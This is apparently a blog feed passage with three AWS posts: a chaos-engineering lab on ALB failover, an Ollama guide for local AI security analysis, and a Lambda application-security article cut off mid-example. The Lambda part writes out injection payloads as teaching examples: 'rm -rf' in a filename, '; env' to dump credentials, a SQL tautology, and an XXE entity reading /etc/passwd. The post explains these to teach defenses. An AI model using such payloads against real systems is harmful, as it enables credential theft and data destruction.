Before 23:17:29 : both instances are healthy and every request returns 200. FIS then stops instance i-0ef097d855de7f9a9 in us-east-1a. The instance is shutting down, but the ALB does not know this yet. It still has two targets in its list.

23:17:29 to 23:17:31. The ALB routes two requests to the dead instance. Both come back as 502 Bad Gateway. The ALB tried to forward the request, the connection failed, and it returned a 502 to the caller.

23:17:33 to 23:17:35. Requests happen to land on the healthy instance in us-east-1b. We get 200s. This is luck, not design.

23:17:38 and 23:17:45. Two requests to the dead instance time out entirely. The curl client reports 000, meaning the connection was never established within the timeout. This is worse than a 502; the caller has no idea what happened.

23:17:52 onward. All 200s. The ALB has detected the failed instance and stopped routing traffic to it.

The detection window (the time between the instance dying and the ALB removing it from rotation) is what caused the failures. Across the 60 probes we captured, 4 came back as failures (two 502s and two timeouts), all clustered between 23:17:29 and 23:17:45, a roughly 16-second window. That is a minority of requests, not a majority: with two targets, the ALB keeps routing about half of its attempts to the dead instance, but most of those still succeeded because the dead target simply was not selected for a given probe. The failures were interspersed with 200s rather than being one solid block of errors. A minority of requests failing is still a real outage for the customers who hit it.

Think about what this means for Chaos Shop. If a customer was browsing products during that window, their page load would have failed. If they were placing an order, the POST would have returned a 502 or timed out. The customer would not know whether their order went through. Did the money get charged? Did the stock get decremented? They would have to refresh and check, and that is a bad experience.

Data Integrity Check

The failures during the detection window are concerning for request availability. But what about the data? Orders were placed before the experiment. Is the data still there?

$ curl -s http://$ALB/orders/1 | python3 -m json.tool
{
    "order_id": 1,
    "product_id": 3,
    "product_name": "Mechanical Keyboard",
    "quantity": 2,
    "total": 259.98,
    "status": "confirmed",
    ...
}

Order 1 is intact. The Mechanical Keyboard order we placed before the experiment survived the instance failure. This makes sense. The order data lives in Aurora, not on the EC2 instance. When the instance died, the database was unaffected.

$ curl -s http://$ALB/products/3 | python3 -m json.tool
{
    "id": 3,
    "name": "Mechanical Keyboard",
    "price": 129.99,
    "stock": 48
}

Stock is still 48. No corruption, no phantom decrements, no lost updates. The transactional integrity held.

The system recovers and keeps taking orders

The ASG launched a replacement instance, i-0a9a795f314c94f1e, back in us-east-1a to restore the fleet to two healthy instances. Meanwhile the application keeps accepting orders. Let's place one:

$ curl -s -X POST http://$ALB/orders \
    -H "Content-Type: application/json" \
    -d '{"product_id": 2, "quantity": 1}' | python3 -m json.tool
{
    "order_id": 4,
    "product_id": 2,
    "product_name": "USB-C Hub",
    "quantity": 1,
    "total": 34.99,
    "status": "confirmed",
    "served_by": "i-0a52ee26b5d49d79f",
    ...
}

Order 4 went through, served by the instance that stayed healthy. The order ID continues the sequence from before the failure, and once the replacement instance passes its health checks it rejoins the pool. The database state is consistent across the old and new instances.

The Gap in Our Thinking

The architecture diagram shows a clean failover: instance dies, ALB routes around it, done. The reality has a detection delay. The ALB is not psychic. It learns about failures through health checks, and health checks have intervals.

Look at the health check configuration again:

Health check interval: 10 seconds
Unhealthy threshold: 3 failed checks
Worst case detection time: 3 * 10 = 30 seconds

The ALB needs three consecutive failed health checks before it marks a target as unhealthy and stops sending it traffic. In our experiment, the failures spanned roughly 16 seconds, from the first 502 at 23:17:29 to the last timeout at 23:17:45, based on the timing of the non-200 responses. We did not hit the 30-second worst case, but we still saw real failures.

This is not a bug in the ALB or a misconfiguration. It is a fundamental property of health-check-based systems. You can tune it (shorter intervals, lower thresholds) but you cannot eliminate it entirely. Every choice is a trade-off:

Shorter health check intervals mean faster detection, but more load on your instances from health check traffic.
Lower unhealthy thresholds mean faster deregistration, but more risk of false positives (a single slow response marks the instance as dead).
Connection draining adds additional time while in-flight requests complete.

What We Learned

Let’s go back to our hypothesis and score it honestly.

What we got right:

The ASG did detect the failure and launched a replacement instance.
The system did self-heal and return to full capacity.
Traffic did rebalance across both AZs.
Aurora data was completely unaffected. All orders intact, all stock counts correct.
The replacement instance connected to Aurora and placed orders without issues.
Data integrity was maintained through the failure. No corruption, no lost writes.

What we got wrong:

There was a detection window where requests returned 502s and timeouts. Our hypothesis said “no user-visible errors.” That was wrong.
The product listing was unreachable for some requests during the window. If a customer was placing an order at that exact moment, it would have failed.

This is why you run the experiment instead of just reading the architecture diagram. The diagram says “ALB routes around failures.” The experiment says “ALB routes around failures, after a detection window where some requests fail.”

What Would You Do in Production

Knowing about this detection window, you have options. We are not going to implement fixes here. That is what the later articles in this series are for. But it is worth listing what you would consider:

Tune health checks. Reduce the interval to 5 seconds and the unhealthy threshold to 2. That cuts detection time from 30 seconds to 10. The trade-off is more sensitivity to transient issues.
Add more instances. With 4 instances instead of 2, the dead target receives only about 25% of routing attempts during the detection window instead of 50%. Fewer requests land on the failed instance, so the blast radius shrinks even if the window’s duration is the same.
Implement client-side retries. If the client retries on 502 with a brief backoff, it will likely hit the healthy instance on the next attempt. This masks the detection window from the end user.
Use pre-warmed instances. The replacement took time to boot and initialize. A warm pool or pre-baked AMI could cut replacement time significantly.
Add observability. We monitored this experiment by watching curl output in a terminal. That does not scale. Dashboards, alarms, and automated stop conditions would make this a repeatable practice instead of a one-off exercise.

None of these options appeared on the original architecture diagram. They only became apparent because we ran the experiment.

What Is Next

In this article, we tested what happens when a compute node dies. The database was fine because we did not touch it. But Aurora has its own failure modes, and those are more interesting, and more dangerous, than losing an EC2 instance.

In Article 2, we add observability: CloudWatch dashboards, alarms, and FIS stop conditions that automatically abort an experiment if things go wrong. We also cover how to structure chaos experiments as part of a regular testing practice instead of a one-off exercise.

In Article 3 and Article 4, we turn our attention to the database itself. What happens during an Aurora writer failover? How long does the application see errors? What happens to in-flight transactions? We will chaos test the database and implement resilience patterns: read replicas, RDS Proxy, write buffering, and circuit breakers. The database latency we measured today is our baseline, and we are going to see what happens when Aurora has a bad day.

Cleanup

This lab is not free. The main costs are the Aurora Serverless v2 cluster (starting at 0.5 ACU), the two NAT gateways (one per AZ, which roughly doubles that line item versus a single-NAT setup), and the ALB. Running the full stack for a few hours will cost roughly $2–4. If you leave it running for a day, expect about $8–10.

Tear it down when you are done:

terraform destroy

Confirm with yes when prompted. The destroy takes a few minutes as it drains the ALB and deletes the Aurora cluster.

References

Run AI Locally for AWS Security Work: The Complete Ollama Guide

Tarek CHEIKH — Wed, 24 Jun 2026 10:40:39 +0000

Every prompt you send to ChatGPT, Claude, or Gemini travels to a data center, gets processed on someone else’s hardware, and leaves a record on someone else’s servers.

When that prompt contains an IAM policy, a CloudTrail log, a Terraform state file, or a customer’s infrastructure code, you have a problem. Not a theoretical one, a compliance one. GDPR, HIPAA, SOC 2, and ISO 27001 all impose requirements on sending sensitive data to third-party processors.

Ollama solves this. It runs large language models entirely on your machine. No API keys, no network calls, no data exfiltration risk. Your prompts stay on your hardware, processed by your own GPU, and never leave it.

This guide covers everything: installation, model selection, AWS security use cases, custom security-focused models, the REST API, and Python integration. All verified on a MacBook Pro M4 Pro with 24GB RAM running Ollama 0.18.3.

Why local AI matters for security work

Cloud LLM APIs are powerful. But when you work in security, you routinely handle data that should never leave your environment:

IAM policies reveal your permission model, trust relationships, and privilege escalation paths
CloudTrail logs contain API call history, source IPs, user agents, and session details
Terraform and CloudFormation templates expose your entire infrastructure topology
Security findings from GuardDuty, Security Hub, and Inspector reveal your vulnerabilities
Incident response data includes forensic artifacts, IOCs, and attack timelines
Customer infrastructure : if you are a consultant, your client’s data is not yours to share

Local inference eliminates these concerns at the architectural level. There is no network boundary to cross, no third-party processor to audit, no data residency question to answer.

Installation

brew install --cask ollama-app

This installs the macOS app with its menu bar icon. If you only want the command-line binary, brew install ollama installs the CLI-only formula. Verify the installation:

ollama --version

Start the server (it runs in the background and also starts automatically when you run any **_ollama_** command):

ollama serve

On macOS, you can also launch Ollama from Applications, where it appears as a menu bar icon.

Choosing your models

Ollama’s model library has over 200 models. For security work on a 24GB machine, here are the ones that matter:

# Best all-rounder for security analysis and reasoning
ollama pull phi4

# Fast and capable for general queries
ollama pull gemma3

# Best for pure coding tasks and IaC review
ollama pull deepseek-coder-v2

# Ultra fast for quick lookups
ollama pull llama3.2

# Solid general-purpose reasoning
ollama pull mistral

# Heavy reasoning when you need the best output (uses ~5.2GB at the default tag)
ollama pull deepseek-r1

Model reference

| Model | Disk Size | Best For | Speed |
| ----------------- | --------- | ----------------------------------------------- | ------- |
| llama3.2 | 2.0 GB | Quick questions, fast iteration | Fastest |
| gemma3 | 3.3 GB | General use, good balance | Fast |
| mistral | 4.4 GB | Reasoning, general analysis | Fast |
| deepseek-r1 | 5.2 GB | Deep reasoning, complex analysis | Medium |
| deepseek-coder-v2 | 8.9 GB | Code review, IaC analysis, scripting | Medium |
| phi4 | 9.1 GB | Security analysis, IAM review, best all-rounder | Medium |

These sizes are from our own installation, the same numbers you see when you run **_ollama list_**:

On Apple Silicon, every model runs with 100% Metal GPU acceleration , no configuration needed. Ollama automatically detects your GPU cores and uses them. You can verify this with **_ollama ps_**:

AWS security use cases

These are workflows that keep sensitive AWS data on your laptop while still getting useful analysis. One rule before we start: treat a local model’s output as a fast first pass, not a verdict. A model in this size range can miss findings and can invent CLI flags, CIS sections, or control mappings. Verify anything it produces, especially commands and compliance references, before you act on it.

1. IAM policy review

The most immediate use case. Paste an IAM policy and get a security analysis:

ollama run phi4
>>> Review this IAM policy for security issues: {"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}

Ask the model to flag overly broad permissions, data exposure risks, and compliance gaps, and to propose a corrected policy. It runs entirely locally, so the policy never leaves your machine. Confirm its findings against the real AWS documentation before you apply anything.

2. Pipe infrastructure code for review

Feed policies, Terraform files, or CloudFormation templates directly through the CLI:

echo '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:*"],"Resource":"*"}]}' | ollama run phi4 "Analyze this AWS IAM policy for security misconfigurations and privilege escalation risks"

This works with any file. Review a Terraform module:

cat main.tf | ollama run deepseek-coder-v2 "Review this Terraform for security misconfigurations. Check for: public access, missing encryption, overly permissive security groups, hardcoded secrets."

Or scan a CloudFormation template:

cat template.yaml | ollama run phi4 "Identify every security issue in this CloudFormation template. For each issue, name the relevant CIS Benchmark control and the fix."

3. CloudTrail log analysis

cat cloudtrail-events.json | ollama run phi4 "Analyze these CloudTrail events for suspicious activity. Look for: unauthorized API calls, unusual source IPs, privilege escalation attempts, data exfiltration indicators."

4. Incident response assistance

ollama run phi4 "An EC2 instance in our production VPC is communicating with a known C2 IP. The instance has an IAM role with s3:GetObject on all buckets. Walk me through the NIST incident response steps. What AWS CLI commands should I run first?"

5. Security code review

cat lambda_handler.py | ollama run deepseek-coder-v2 "Review this Lambda function for OWASP Top 10 vulnerabilities, injection risks, and AWS-specific security issues like missing input validation or overly permissive error responses."

Build a custom AWS security expert model

Ollama’s Modelfile system lets you create specialized models with custom system prompts, similar to a Dockerfile but for LLMs. This is where things get powerful.

Create a file called **_Modelfile_**:

FROM phi4

SYSTEM """
You are an expert AWS security consultant. You specialize in IAM policy analysis,
cloud misconfiguration detection, and incident response. Provide specific AWS CLI
commands, reference the current CIS AWS Foundations Benchmark where relevant, and
give actionable remediation steps. Never give vague advice.
"""

PARAMETER temperature 0.3
PARAMETER num_ctx 4096

Build and run it:

ollama create aws-security-expert -f Modelfile
ollama run aws-security-expert

Now every response is tuned for AWS security work. Ask it about privilege escalation:

ollama run aws-security-expert "What are the top 5 IAM misconfigurations that lead to privilege escalation?"

The response comes back with AWS CLI commands for detection, CIS Benchmark references, and concrete remediation steps, all generated locally so your questions never leak. Treat those references as a starting point, not gospel: always check them against the current CIS AWS Foundations Benchmark (v5.0.0 at the time of writing), because a local model can cite an outdated version or a section that does not exist.

You can create multiple specialized models:

# Incident response specialist
cat > Modelfile-IR << 'EOF'
FROM phi4
SYSTEM """
You are an AWS incident responder following the NIST SP 800-61 lifecycle:
preparation; detection and analysis; containment, eradication, and recovery;
and post-incident activity. For every incident, provide exact AWS CLI commands
for each relevant step.
"""
PARAMETER temperature 0.2
EOF
ollama create aws-ir-specialist -f Modelfile-IR

# IaC security reviewer
cat > Modelfile-IaC << 'EOF'
FROM deepseek-coder-v2
SYSTEM """
You are a cloud infrastructure security reviewer. You analyze Terraform,
CloudFormation, and CDK code for security misconfigurations. Reference the
current CIS AWS Foundations Benchmark and AWS security best practices. Always
provide the fixed code alongside the issue.
"""
PARAMETER temperature 0.1
EOF
ollama create iac-security-reviewer -f Modelfile-IaC

REST API

Ollama exposes a local REST API on **_http://localhost:11434_**. This lets you integrate local AI into scripts, automation pipelines, and custom tools.

Generate a completion

curl -s http://localhost:11434/api/generate \
  -d '{"model":"phi4","prompt":"List the 3 most critical S3 bucket security checks","stream":false}' | python3 -m json.tool

Chat endpoint (multi-turn)

curl -s http://localhost:11434/api/chat \
  -d '{
    "model": "phi4",
    "messages": [
      {"role": "user", "content": "What is the difference between SCPs and IAM policies?"}
    ],
    "stream": false
  }' | python3 -m json.tool

OpenAI-compatible endpoint

Ollama also exposes an OpenAI-compatible API at **_http://localhost:11434/v1/_**. Most tools built for the OpenAI chat-completions API work with Ollama by pointing them at this base URL and a local model name:

from openai import OpenAI

client = OpenAI(
    base_url="http://localhost:11434/v1/",
    api_key="ollama" # required but unused
)

response = client.chat.completions.create(
    model="phi4",
    messages=[{"role": "user", "content": "Explain IMDSv2 enforcement"}]
)
print(response.choices[0].message.content)

For many codebases, swapping cloud inference for local inference is mostly a base-URL and model-name change.

Python SDK

The official Ollama Python library provides a clean API for integration:

pip install ollama

import ollama

response = ollama.chat(
    model='aws-security-expert',
    messages=[{
        'role': 'user',
        'content': 'Review this IAM policy for privilege escalation risks: ' + policy_json
    }]
)
print(response['message']['content'])

Build a batch scanner that reviews every IAM policy in your account:

import json
import subprocess
import ollama

# Get all customer-managed policies
result = subprocess.run(
    ['aws', 'iam', 'list-policies', '--scope', 'Local', '--output', 'json'],
    capture_output=True, text=True
)
policies = json.loads(result.stdout)['Policies']

for policy in policies:
    # Get policy document
    version_result = subprocess.run(
        ['aws', 'iam', 'get-policy-version',
         '--policy-arn', policy['Arn'],
         '--version-id', policy['DefaultVersionId'],
         '--output', 'json'],
        capture_output=True, text=True
    )
    doc = json.loads(version_result.stdout)['PolicyVersion']['Document']

    # Analyze with local AI
    response = ollama.chat(
        model='aws-security-expert',
        messages=[{
            'role': 'user',
            'content': f'Analyze this IAM policy for security issues. '
                       f'Policy name: {policy["PolicyName"]}\n'
                       f'Policy document: {json.dumps(doc)}'
        }]
    )
    print(f"\n{'='*60}")
    print(f"Policy: {policy['PolicyName']}")
    print(f"{'='*60}")
    print(response['message']['content'])

Every policy is reviewed locally, with nothing sent to a third party.

Structured output and tool calling

Ollama supports structured output using JSON schemas, which is critical for automation. Instead of parsing free text, you get guaranteed JSON:

import ollama

response = ollama.chat(
    model='phi4',
    messages=[{
        'role': 'user',
        'content': 'Analyze this S3 bucket policy for issues: ' + policy_json
    }],
    format={
        'type': 'object',
        'properties': {
            'risk_level': {'type': 'string', 'enum': ['critical', 'high', 'medium', 'low']},
            'issues': {
                'type': 'array',
                'items': {
                    'type': 'object',
                    'properties': {
                        'title': {'type': 'string'},
                        'description': {'type': 'string'},
                        'remediation': {'type': 'string'}
                    }
                }
            }
        }
    }
)
findings = json.loads(response['message']['content'])

Ollama also supports tool calling with models like Llama 3.2, Mistral, and Qwen2.5, so your local model can decide when to call external functions, enabling AI-powered security automation that runs entirely on your hardware.

Vision models

Ollama supports multimodal models like Llama 3.2-Vision and LLaVA. For security work, this means you can feed screenshots of AWS Console configurations, architecture diagrams, or CloudWatch dashboards directly to a local model:

ollama run llama3.2-vision "Analyze this AWS Console screenshot for security misconfigurations"
# Then paste or drag an image into the terminal

Quick reference

| Task | Command |
| -------------- | ---------------------------------------- |
| Install | `brew install --cask ollama-app` |
| Start server | `ollama serve` |
| Download model | `ollama pull <model>` |
| Chat | `ollama run <model>` |
| One-shot query | `ollama run <model> "question"` |
| Pipe file | `cat file | ollama run <model> "prompt"` |
| List models | `ollama list` |
| Running models | `ollama ps` |
| Remove model | `ollama rm <model>` |
| Create custom | `ollama create <name> -f Modelfile` |
| API endpoint | `http://localhost:11434` |
| OpenAI compat | `http://localhost:11434/v1/` |

Shell aliases for daily use

Add these to your ~/.bashrc or ~/.zshrc:

# Security-focused aliases
alias sec='ollama run aws-security-expert'
alias iac='ollama run iac-security-reviewer'
alias ir='ollama run aws-ir-specialist'
alias code-review='ollama run deepseek-coder-v2'
alias quick='ollama run gemma3'

Then reviewing an IAM policy is just:

cat policy.json | sec "Review this for privilege escalation risks"

Security considerations for Ollama itself

Running a local LLM server comes with its own security surface:

Bind to localhost only : by default, Ollama listens on **_127.0.0.1:11434_**. Never expose it to **_0.0.0.0_** without authentication. Researchers have found 175,000+ exposed Ollama servers on the internet.
Model provenance : only pull models from the official Ollama library. Custom models from unknown sources can contain malicious payloads.
API authentication : if you expose the API beyond localhost, put it behind a reverse proxy (Nginx, Caddy) with authentication.
Disk space : models are stored in **_~/.ollama/models_**. Monitor usage, since six models can easily consume 30+ GB.

When to use local vs cloud AI

It is not either/or. The two approaches differ on a handful of concrete factors, and most teams use both depending on the task at hand:

| Factor | Local (Ollama) | Cloud APIs |
| -------------------------------- | -------------------------------------------------------------- | --------------------------------------- |
| Data privacy and compliance | Data stays on your machine; fits air-gapped and regulated work | Data is sent to a third-party processor |
| Model capability | Strong for scoped tasks, below frontier quality | Frontier-level quality |
| Context window | Limited by the local model and your RAM/VRAM | Very large (well beyond 128K tokens) |
| Multimodal and image generation | Limited (some vision models) | Strong (vision and image generation) |
| Cost | Free after hardware, flat | Per token, grows with usage |
| Throughput at scale | Bound by your hardware | Scales elastically |
| Connectivity | Works fully offline | Requires internet |

For day-to-day AWS security work on sensitive artifacts, IAM policies, CloudTrail logs, infrastructure code, and incident data, local inference is often the better default: it removes the compliance question entirely and costs nothing per query. Reach for a cloud API when you genuinely need frontier-level reasoning, a very long context window, or multimodal capability the local model cannot match. The point is having the choice, and keeping the sensitive work on your own machine.

GitHub : <https://github.com/ollama/ollama>

Model Library : <https://ollama.com/library>

Documentation : <https://docs.ollama.com>

The Code Is Still Yours: Application-Layer Security for AWS Lambda

Tarek CHEIKH — Mon, 08 Jun 2026 20:01:01 +0000

Part 4 of 4 in the Lambda Security Series

The first three parts of this series were about configuration. Runtimes, roles, resource policies, public endpoints, network, logging, and the compliance controls behind them. That is the layer lambda-security-scanner checks, and it is the layer most teams get wrong first.

But configuration is only half of Lambda security. The other half is the code that runs inside the function, and no posture scanner reaches it. AWS will not catch a bug in your handler. A clean configuration scan and a vulnerable function are completely compatible. This part covers that other half: the application layer, the dependencies, the credentials your code holds, and how to detect the attacks that prevention misses.

One thing ties the whole layer together. Every code-level vulnerability ultimately cashes out through the execution role. Whatever the role can do, a successful attack against your code can do. That is why Part 2’s role checks and this part’s code checks are the same fight from two directions.

Every Event Source Is Untrusted Input

A Lambda function is defined by its triggers, and every trigger is an entry point for data you did not write. API Gateway delivers HTTP requests. S3 delivers object keys and metadata. SNS and SQS deliver message bodies. DynamoDB and Kinesis deliver stream records. EventBridge delivers arbitrary event payloads. Each of these is a separate trust boundary, and the data crossing it is hostile until you prove otherwise.

The mistake is treating the event object as structured, trusted data because it arrived through an AWS service. The AWS service delivered the envelope. It did not validate the contents. A filename in an S3 event, a field in an SQS message, or a query string in an API Gateway request is attacker-controlled the moment an attacker can influence the thing that produced it.

To make this concrete: an S3 **_ObjectCreated_** event hands your function a key at **_event[‘Records’][0][‘s3’][‘object’][‘key’]_**. If a user can upload to that bucket, the user chose that key. A key such as **_../../tmp/payload_** or **_report$(rm -rf /tmp).csv_** arrives looking like ordinary data, and it stays harmless only until your code passes it to a file path or a shell.

This is how injection happens in serverless, and the categories are the same ones that have always existed:

OS command injection , when input reaches a shell. This is the OWASP ServerlessGoat flaw from Part 1: a user-supplied URL is passed straight into a **_curl_** command, so an attacker appends their own commands and the function runs them. For example, code that runs **_curl <url>_** as a shell string lets an attacker send [**_https://x_**](https://x) **_; env_**. The **_;_** ends the intended **_curl_** command and runs **_env_** instead, which prints the execution environment, including the **_AWS\_ACCESS\_KEY\_ID_**, **_AWS\_SECRET\_ACCESS\_KEY_**, and **_AWS\_SESSION\_TOKEN_** that hold the function’s execution-role credentials. The attacker now has working AWS keys and can act as your function against the AWS API directly, which is exactly the exploit covered in the next section.
SQL and NoSQL injection , when input is concatenated into a query instead of parameterized. **_cursor.execute(“SELECT \* FROM users WHERE id = ‘“ + user\_id + “‘“)_** lets an attacker send **_’ OR ‘1’=’1_** and read every row.
Code injection , when input reaches **_eval_**, dynamic **_require_** or **_import_**, or a template engine. Passing an event field into Python **_eval()_** or JavaScript **_eval()_** turns a string into running code.
XML external entity (XXE) attacks, when input is parsed by an XML parser that has external entities enabled. XML lets a document declare an entity, a named placeholder, and point it at an external resource; a parser with that feature turned on will fetch the resource and substitute its contents wherever the entity is used. In a malicious document, the attacker adds a document type definition that declares an external entity, for example an entity named **_xxe_** whose value is **_SYSTEM “file:///etc/passwd”_**, and then references it as **_&xxe;_** inside an element. When the parser expands **_&xxe;_**, it reads the file at that path and drops the contents into the parsed value, which the function might then return to the caller, store, or log. Point the entity at a URL instead of a file, such as an internal-only address like **_http://10.0.0.5/admin_**, and the same trick becomes server-side request forgery: the function fetches resources inside your VPC that an outsider could never reach directly. The fix is to disable DTD processing and external entities in the parser (for example, use **_defusedxml_** in Python), which the defenses below cover.
Log injection , when unsanitized input is written to logs that something else later trusts. A newline embedded in a username can forge extra log lines that mislead an investigator or a log-based alert.

The defenses are unglamorous and they work:

Never pass user input to a shell. If you must call out to a process, use an argument array, not a constructed command string, and never **_shell=True_**. In Python that means **_subprocess.run([“catdoc”, path])_** instead of **_subprocess.run(f”catdoc {path}”, shell=True)_**. In Node.js it means **_execFile(“catdoc”, [path])_** instead of **_execSync(catdoc ${path})_**. With an argument array the operating system treats the input as one argument, so it can never become a new command.
Parameterize every query. The database driver should receive values as bound parameters, never as concatenated strings: **_cursor.execute(“SELECT \* FROM users WHERE id = %s”, (user\_id,))_**. The driver sends the value separately from the SQL, so the value cannot change the query’s meaning.
Validate every event at the boundary against an explicit schema, and reject anything that does not match. Use JSON Schema, Pydantic, or the parser and validation utilities in Powertools for AWS Lambda. (Powertools ships two distinct tools for this: a Parser built on Pydantic, and a separate Validator that checks events against JSON Schema.) Validate types, lengths, formats, and allowed values:

from aws_lambda_powertools.utilities.parser import parse, BaseModel
from aws_lambda_powertools.utilities.parser.exceptions import ValidationError

class Order(BaseModel):
    order_id: str
    quantity: int

def handler(event, context):
    try:
        order = parse(event=event, model=Order)
    except ValidationError:
        return {"statusCode": 400, "body": "invalid input"}
    # order.quantity is guaranteed to be an int from here on

Prefer allowlists to denylists. Define what is permitted and reject everything else, rather than trying to enumerate every bad input. An attacker only has to find the one bad input you forgot to ban; an allowlist fails closed.

Validation at the boundary is the single highest-leverage habit in serverless code, because one function can be triggered by several sources and each one needs the same scrutiny.

The Execution Role Credentials Are Stealable

Here is a detail that surprises people moving from EC2. Lambda has no credential-bearing instance metadata service. There is no **_169.254.169.254_** endpoint to query, so the classic server-side request forgery attack that steals credentials from EC2 metadata does not apply to Lambda. (Lambda did gain a metadata endpoint in 2026, reachable at the address in the **_AWS\_LAMBDA\_METADATA\_API_** environment variable, for example **_169.254.100.1:9001_**. But it returns only the Availability Zone ID, it requires a per-environment bearer token from **_AWS\_LAMBDA\_METADATA\_TOKEN_** specifically as a defense against SSRF, and it never exposes the execution role’s credentials.)

That is not good news, because Lambda exposes the credentials a different way. When your function runs, the execution role’s temporary credentials are injected into the execution environment as the **_AWS\_ACCESS\_KEY\_ID_**, **_AWS\_SECRET\_ACCESS\_KEY_**, and **_AWS\_SESSION\_TOKEN_** environment variables. AWS documents these as reserved runtime variables holding “the access keys obtained from the function’s execution role,” and this is still the behavior in 2026. The AWS SDK reads them from there automatically, which is convenient for your code and equally convenient for an attacker. Any code execution inside the function, or any vulnerability that lets an attacker read the process environment, hands over those credentials. ServerlessGoat demonstrates exactly this: the command injection runs **_env_**, and the role’s credentials fall out.

Once exfiltrated, those credentials are valid from anywhere until they expire. The attacker does not need to keep exploiting your function. They lift the keys once and use them directly against the AWS API with whatever the role allows.

This is why least privilege on the execution role, the B.4 check from Part 2, is not just a configuration nicety. It is the containment boundary for every code-level bug you have not found yet. You cannot guarantee your code is free of injection. You can guarantee that when it is exploited, the stolen credentials can read one bucket instead of administering the account. Scope the role as if the code is already compromised, because eventually one function will be.

Server-side request forgery is still worth defending against in Lambda even without a credential-bearing metadata endpoint to protect. A function that fetches a user-controlled URL can be turned against internal services it can reach inside a VPC, peered networks, and link-local addresses. Validate and allowlist outbound destinations the same way you validate inbound input: resolve the hostname, confirm it is on a permitted list, and reject private and link-local ranges unless you explicitly intend to reach them.

Insecure Deserialization and Dynamic Code

Deserializing untrusted data into live objects is remote code execution waiting for an input. Python’s **_pickle_**, an unsafe YAML load, Java and PHP object deserialization, and any path that turns bytes from an event directly into executable behavior are all in this category. The danger is that these formats encode not just data but instructions to construct arbitrary objects, and constructing those objects can run code. A **_pickle.loads()_** on attacker-supplied bytes can execute a payload during unpickling, before your code ever inspects the result.

Use data-only formats and safe parsers: **_json_** rather than **_pickle_**, **_yaml.safe\_load_** rather than **_yaml.load_**, and schema validation on the result. For example, replace **_data = yaml.load(body)_** with **_data = yaml.safe\_load(body)_**, which refuses to instantiate arbitrary Python objects and returns only plain dictionaries, lists, and scalars. Never feed event data to **_eval_** or to a dynamic import.

Your Dependencies Are Most of Your Attack Surface

The code you wrote is usually a small fraction of what ships in your deployment package. The rest is third-party libraries, and their layers, and the transitive dependencies underneath them. A known vulnerability in any of them is your vulnerability, and the failure modes go beyond stale versions: typosquatted package names (a malicious **_reqeusts_** masquerading as **_requests_**) and legitimate packages compromised upstream both end up running with your execution role.

Scan dependencies continuously, not once:

Use language-native auditing in development and CI: **_pip-audit_** for Python, **_npm audit_** for Node, and the equivalents for other runtimes. Fail the build on known-vulnerable, fixable findings. A CI step as simple as **_pip-audit — strict_** or **_npm audit — audit-level=high_** returns a non-zero exit code and stops the pipeline.
Turn on Amazon Inspector Lambda standard scanning. It automatically scans the application dependencies in your function code and layers for known CVEs. AWS documents that it runs when Inspector first discovers a function, when you deploy a new function, when you update the code or dependencies of a function or its layers, and again whenever Inspector adds a CVE to its database that is relevant to your function, with no scan to schedule. One important limit: it scans the dependencies you ship, not the AWS SDK that the runtime provides by default, so bundle the SDK explicitly if you want it covered.
Pin versions and commit lockfiles, so the package that passed review is the package that deploys. A committed **_requirements.txt_** with hashes, or a **_package-lock.json_**, means a rebuild cannot silently pull a newer, compromised version. Keep the dependency set small. Every library you do not include is one you do not have to defend.

Let AWS Scan the Code, Too

Amazon Inspector also offers Lambda code scanning, which goes a step past dependencies and analyzes your own application code. AWS describes it as scanning “application code in a Lambda function for code vulnerabilities based on AWS security best practices to detect data leaks, injection flaws, missing encryption, and weak cryptography,” using automated reasoning, machine learning, and internal detectors developed with Amazon Q. Each finding includes a snippet showing where the issue is and a suggested code fix.

It runs automatically on deploy and update, the same as standard scanning, and it requires standard scanning to be enabled first (you cannot turn on code scanning by itself). It will not replace a security review of your code, but it is a continuous, low-effort backstop that catches a meaningful class of mistakes before they sit in production. One caveat: code scanning captures snippets of your function to illustrate findings, and those snippets can include hardcoded secrets, so treat the findings themselves as sensitive.

Container-Image Functions Need Image Hygiene

If you package a function as a container image rather than a zip archive, you have inherited every habit of container security along with it. Scan the image for operating-system and programming-language package vulnerabilities, which Amazon Inspector does for images in Amazon ECR through enhanced scanning, either on push or continuously, re-scanning automatically when a new relevant CVE is published. Start from a minimal base image (for example a distroless or **_-slim_** image) so there is less to be vulnerable. Pin the base image by digest rather than a floating tag, so **_FROM public.ecr.aws/lambda/python:3.13@sha256:…_** cannot silently pull in something new on the next rebuild. Run as a non-root user inside the image with a **_USER_** directive. A container-packaged Lambda is still a container, and the supply-chain risk is larger, not smaller.

Handle Secrets Correctly at Runtime

Part 3 covered moving secrets out of environment variables and into Secrets Manager or SSM Parameter Store. AWS makes the same recommendation in the Lambda documentation: “To increase security, we recommend that you use AWS Secrets Manager instead of environment variables to store database credentials and other sensitive information like API keys or authorization tokens.” Getting the secret out of the configuration is necessary, but the runtime handling matters too.

Store the secret in Secrets Manager and read it at runtime rather than baking it into the function. The simplest way to read it is the AWS SDK, calling **_GetSecretValue_** from your handler. That works, and it is a valid pattern. Its only drawback is that it calls Secrets Manager on every invocation, which adds latency and API cost each time.

To avoid that per-invocation call, AWS documents two approaches that retrieve the secret and cache it locally, described as “both offering better performance and lower costs compared to retrieving secrets directly using the AWS SDK,” and both “eliminating the need for your function to call Secrets Manager for every invocation.” You do not need both; pick one.

The first is the AWS Parameters and Secrets Lambda Extension. It is runtime-agnostic, you add it as a Lambda layer, and your code reads the secret over a local HTTP endpoint with no SDK dependency. AWS’s own Python example is:

secrets_extension_endpoint = f"http://localhost:2773/secretsmanager/get?secretId={secret_name}"
headers = {"X-Aws-Parameters-Secrets-Token": os.environ.get('AWS_SESSION_TOKEN')}

The first call fetches from Secrets Manager; subsequent calls within the cache lifetime are served from the local cache. By default the extension caches for 300 seconds and holds up to 1000 items, configurable through the **_SECRETS\_MANAGER\_TTL_**, **_PARAMETERS\_SECRETS\_EXTENSION\_CACHE\_SIZE_**, and **_PARAMETERS\_SECRETS\_EXTENSION\_HTTP\_PORT_** environment variables. The same extension works for both Secrets Manager secrets and Parameter Store parameters.

The second is the Powertools for AWS Lambda parameters utility, a code-integrated option for Python, TypeScript, Java, and .NET that caches and can transform the value (for example, parse JSON). In Python it is just:

from aws_lambda_powertools.utilities import parameters
secret = parameters.get_secret("my-secret-name", max_age=300)

Whichever you choose, three rules apply:

Scope the function’s permission to the specific secret, not to **_secretsmanager:GetSecretValue_** on everything. AWS’s example execution-role policy sets **_Resource_** to the one secret ARN:

{
